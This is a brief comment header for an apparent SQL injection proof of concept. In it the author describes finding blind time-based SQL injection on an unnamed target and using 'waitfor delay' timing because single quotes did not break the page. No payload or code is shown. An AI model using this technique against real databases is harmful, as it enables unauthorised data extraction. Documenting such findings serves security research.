#Proof Of Concept
# Time-Based sql injection is called a data extraction event with request response times 
# with the server when there is no other way for it to extract aggressive data. It should 
# be determined by sql injection type. I discovered blind time-based sql injection. 
# Because single quotes didn't break the page structure, so I tried to get results 
# using waitfor delay instead.
